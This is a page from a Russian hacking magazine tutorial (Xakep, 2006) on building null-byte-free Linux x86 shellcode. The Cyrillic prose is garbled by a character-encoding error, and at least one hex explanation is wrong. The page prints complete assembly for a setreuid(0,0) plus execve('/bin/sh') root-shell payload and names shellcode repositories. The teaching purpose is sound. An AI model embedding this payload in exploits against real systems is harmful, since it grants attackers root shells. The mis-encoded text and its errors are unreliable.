ïýòðрь - Xakep Online
ïýòðрь - Xakep Online
ïýòðрь - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
Íåîáõîäèìûå òóëçû:<br />
Nasm (nasm.sourceforge.net)<br />
Hexdump (www.canb.auug.org.au/~millerp/hexdump.html)<br />
Êîëëåêöèè øåëë-êîäîâ è äîêóìåíòàöèè ïî òåìå:<br />
Metasploit.com<br />
packetstormsecurity.com/shellcode<br />
www.shellcode.org<br />
ÏÐÎÁËÅÌÛ ÍÅ ÊÎÍ×ÀÞÒÑß<br />
Äàæå ïîñëå âíåñåííûõ èçìåíåíèé øåëë-êîä âñå ðàâíî ñîäåðæèò<br />
íóëåâûå áàéòû. Îòëàä÷èê ïîêàçûâàåò, ÷òî èñòî÷íèê âñåõ áåä —<br />
èíñòðóêöèÿ jmp:<br />
E91500 jmp 0x29<br />
0000 add [bx+si],al<br />
Òóò åñòü îäíà õèòðîñòü: âìåñòî îáû÷íîé êîìàíäû jmp íóæíî èñïîëüçîâàòü<br />
èíñòðóêöèþ áëèçêîãî ïåðåõîäà — jmp short. Â íåáîëüøèõ<br />
ïðîãðàììàõ, èìåþùèõ ïðîñòóþ ñòðóêòóðó, ýòè èíñòðóêöèè<br />
àáñîëþòíî ðàâíîïðàâíû, îäíàêî ìàøèííûé êîä âî âòîðîì<br />
ñëó÷àå íå ñîäåðæèò íóëåâûõ áàéòîâ. À èìåííî ýòî íàì è íàäî.<br />
Êàçàëîñü áû, âñå ãîòîâî. Øåëë-êîä äîëæåí áûòü èäåàëüíûì, íî<br />
íåò! Â íåì ïî-ïðåæíåìó îñòàåòñÿ îäèí-åäèíñòâåííûé è ïîäëûé<br />
íóëü-áàéò. Îí íàõîäèòñÿ â ñàìîì êîíöå íàøåãî øåëë-êîäà è ïîÿâëÿåòñÿ<br />
òàì èç-çà òîãî, ÷òî ñòðîêà, ñîäåðæàùàÿ ïóòü ê èíòåðïðåòàòîðó<br />
('/bin/sh', 0), çàêàí÷èâàåòñÿ íóëåì. Êàê ãîâîðèëîñü ðàíåå,<br />
ýòîò íîëü íåîáõîäèì äëÿ ïðàâèëüíîé ðàáîòû ïðèëîæåíèÿ<br />
(ôóíêöèè execve()). Ïðîñòî âçÿòü è óäàëèòü åãî íåëüçÿ, êàê áû òåáå<br />
ýòîãî íè õîòåëîñü. Íî ìîæíî âîñïîëüçîâàòüñÿ åùå îäíîé õèòðîñòüþ:<br />
íà ýòàïå êîìïîíîâêè âìåñòî íóëÿ ìîæíî óêàçàòü ïðîèçâîëüíûé<br />
ñèìâîë è ïðåâðàòèòü åãî â íîëü ëèøü â ïðîöåññå âûïîëíåíèÿ<br />
ïðîãðàììû. Ýòî äåëàåòñÿ ïðèìåðíî òàê:<br />
Jmp short<br />
code:<br />
stuff<br />
Ïîñëå âñåõ äîðàáîòîê íóëåâûå áàéòû èñ÷åçëè<br />
â áîëüøèíñòâå ñëó÷àåâ ëåãêî ìîæåò îïðåäåëèòü èç-çà ÷åãî â ìàøèííîì<br />
êîäå ïîÿâëÿþòñÿ íóëè, íî íàì, êàê íîâè÷êàì, íåîáõîäèìà<br />
ïîìîùü äèçàññåìáëåðà. Âîñïîëüçóåìñÿ ndisasm:<br />
$ nasm shell.asm<br />
$ ndisasm shell.asm<br />
Ïîñëå âûïîëíåíèÿ ýòîé êîìàíäû íà ýêðàí áóäåò âûâåäåí äèçàññåìáëèðîâàííûé<br />
êîä ïðîãðàììû. Ïåðâûé ñòîëáåö — àäðåñ<br />
èíñòðóêöèè, îí äëÿ íàñ íå îñîáåííî âàæåí. Âî âòîðîì ñòîëáöå<br />
ðàñïîëîæåíû ìàøèííûå èíñòðóêöèè, òî÷íî òàêèå æå, êàê è ïðè<br />
ïðîñìîòðå áèíàðíèêà hexdump'îì. Â òðåòüåì ñòîëáöå äëÿ êàæäîé<br />
ìàøèííîé èíñòðóêöèè äàí ýêâèâàëåíò íà àññåìáëåðå. Òîëüêî<br />
ñ ïîìîùüþ àññåìáëåðíîãî êîäà ìû ìîæåì ñóäèòü î òîì, îòêóäà<br />
âçÿëè íóëåâûå áàéòû â øåëë-êîäå.<br />
Ïîñëå áåãëîãî îñìîòðà äàìïà ñòàíîâèòñÿ ÿñíî, ÷òî áîëüøèíñòâî<br />
NULL-áàéòîâ ñâÿçàíû ñ èíñòðóêöèÿìè, êîòîðûå óïðàâëÿþò ñîäåðæèìûì<br />
ðåãèñòðà è ñòåêà. Ýòîãî ñëåäîâàëî îæèäàòü, ïîñêîëüêó ìû ðàáîòàåì<br />
â 32-áèòíîì ðåæèìå è, ñîîòâåòñòâåííî, äëÿ êàæäîãî ÷èñëà<br />
âûäåëÿåòñÿ 4 áàéòà ïàìÿòè. Ìû æå îïåðèðóåì ÷èñëàìè, äëÿ êîòîðûõ<br />
õâàòàåò è îäíîãî áàéòà. Íàïðèìåð, â ñàìîì íà÷àëå ïðîãðàììû shell<br />
ìû èìååì ñëåäóþùóþ êîíñòðóêöèþ «mov eax, 70» (çàíåñòè â ðåãèñòð<br />
eax ÷èñëî 70).  äàìïå è øåëë-êîäå ýòà èíñòðóêöèÿ ïðåäñòàâëåíà<br />
êàê «B8 46 00 00 00». Ïðè÷åì B8 — ýòî ìàøèííûé ýêâèâàëåíò<br />
àññåìáëåðíîé êîìàíäû mov ax, à B8 00 00 00 — ÷èñëî 70 â øåñòíàäöàòåðè÷íîé<br />
ñèñòåìå ñ÷èñëåíèÿ, äîïîëíåííîå íóëÿìè äî ðàçìåðà<br />
4-õ áàéò. Àíàëîãè÷íî âîçíèêàåò åùå ìíîæåñòâî NULL-áàéòîâ.<br />
Ê ñ÷àñòüþ, ðåøèòü ýòó ïðîáëåìó áóäåò ïðîùå ïðîñòîãî. Äîñòàòî÷íî<br />
âñïîìíèòü, ÷òî 32-áèòíûå ðåãèñòðû (EAX, EBX è äðóãèå, íà-<br />
÷èíàþùèåñÿ ñ áóêâû e) ìîæíî ðàçëîæèòü íà ðåãèñòðû ìåíüøåé<br />
ðàçìåðíîñòè. Ïîñìîòðè íà èëëþñòðàöèþ è òåáå ñðàçó ñòàíåò ÿñíî,<br />
÷òî íèêòî íå ìåøàåò íàì ðàáîòàòü ñ äâóõáàéòíûì ðåãèñòðîì<br />
AX, à òàêæå ñ åãî ìëàäøåé è ñòàðøåé ÷àñòÿìè AL è AH. Ïîñëåäíèå<br />
èìåþò ðàçìåð âñåãî â îäèí áàéò — êàê ðàç òî, ÷òî íàì íàäî.<br />
Íóæíî ëèøü çàìåíèòü «mov eax, 70» íà «mov al, 70» è ò.ä. Âàæíî<br />
ïîçàáîòèòüñÿ î òîì, ÷òîáû îñòàëüíàÿ ÷àñòü ðåãèñòðà íå ñîäåðæàëà<br />
ìóñîðà. Áûñòðî è ýôôåêòèâíî îáíóëèòü çíà÷åíèå âñåãî ðåãèñòðà<br />
ìîæíî, âîñïîëüçîâàâøèñü ëîãè÷åñêîé ôóíêöèåé «èñêëþ÷àþùåå<br />
èëè». Òàê, «xor eax,eax» îáíóëèò çíà÷åíèå ðåãèñòðà EAX.<br />
pop esi<br />
; àäðåñ íà÷àëà ñòðîêè<br />
; òåïåðü â ðåãèñòðå ESI<br />
xor eax,eax<br />
; îáíóëÿåì ðåãèñòð EAX<br />
mov byte [esi + 17],al<br />
; îòñ÷èòûâàåì 18 ñèìâîëîâ (íóìåðàöèÿ ñ íóëÿ)<br />
; è çàíîñèì òóäà íîëü (ðåãèñòð EAX ïîëíîñòüþ<br />
; ðàâåí íóëþ)<br />
; Òåïåðü ñòðîêà ïðåâðàòèòüñÿ â «This is my string0»<br />
stuff:<br />
call code<br />
db 'This is my string#'<br />
Òåïåðü ïðèìåíèì ýòîò ïðèåì ïî îòíîøåíèþ ê ïðîãðàììå<br />
shell.asm:<br />
BITS 32<br />
;setreuid(0, 0)<br />
xor eax,eax<br />
mov al, 70<br />
xor ebx,ebx<br />
xor ecx,ecx<br />
int 0x80<br />
jmp short two<br />
one:<br />
pop<br />
ebx<br />
; execve("/bin/sh",["/bin/sh", NULL], NULL)<br />
xor eax,eax<br />
mov byte [ebx+7], al<br />
push eax<br />
push ebx<br />
mov ecx, esp<br />
mov al,11<br />
xor edx,edx<br />
int 0x80<br />
two:<br />
call one<br />
db<br />
'/bin/sh#'<br />
Îòêîìïèëèðîâàâ ïðîãðàììó, óáåæäàåìñÿ, ÷òî íóëåâûõ áàéòîâ<br />
áîëüøå íåò. Ñòîèò îòìåíèòü, ÷òî ïðîáëåìà ìîæåò âîçíèêíóòü íå<br />
òîëüêî èç-çà íóëåé. Ñïåöèàëüíûå ñèìâîëû (ê ïðèìåðó, ñèìâîë<br />
êîíöà ñòðîêè) â íåêîòîðûõ ñëó÷àÿõ òàêæå ìîãóò ñòàòü ïðè÷èíîé<br />
íóëåâûõ áàéòîâ â øåëë-êîäå.<br />
Ê ÄÅÉÑÒÂÈÞ<br />
 ñòàòüå ïðèâåäåíû íàèáîëåå âàæíûå ïðèåìû, êîòîðûå ïîíàäîáÿòñÿ<br />
ïðè ñîñòàâëåíèè øåëë-êîäîâ. Îäíàêî äëÿ óñïåõà íåäîñòàòî÷íî<br />
ïðîñòî ïðî÷èòàòü ýòîò ìàòåðèàë. Âàæíî êàê ìîæíî ãëóáæå ðàçîáðàòüñÿ<br />
ñ îïåðàöèîííîé ñèñòåìîé, ïîä êîòîðóþ ïèøåòñÿ øåëë-êîä,<br />
à òàêæå ïðîãðàììèðîâàíèåì íà àññåìáëåðå. Íàäåþñü, ïðèâåäåííûå<br />
ïðèìåðû óáåäèëè òåáÿ â òîì, ÷òî íè÷åãî ÷ðåçâû÷àéíî ñëîæíîãî<br />
çäåñü íåò. Âñå äîâîëüíî ïðîñòî è ëîãè÷íî. Ãëàâíîå — íå áîÿòñÿ<br />
îòêðûòü äîêóìåíòàöèþ è íåìíîãî ïîýêñïåðèìåíòèðîâàòü.<br />
BINARY YOUR’S z<br />
XÀÊÅÐ 01 /85/ 06 055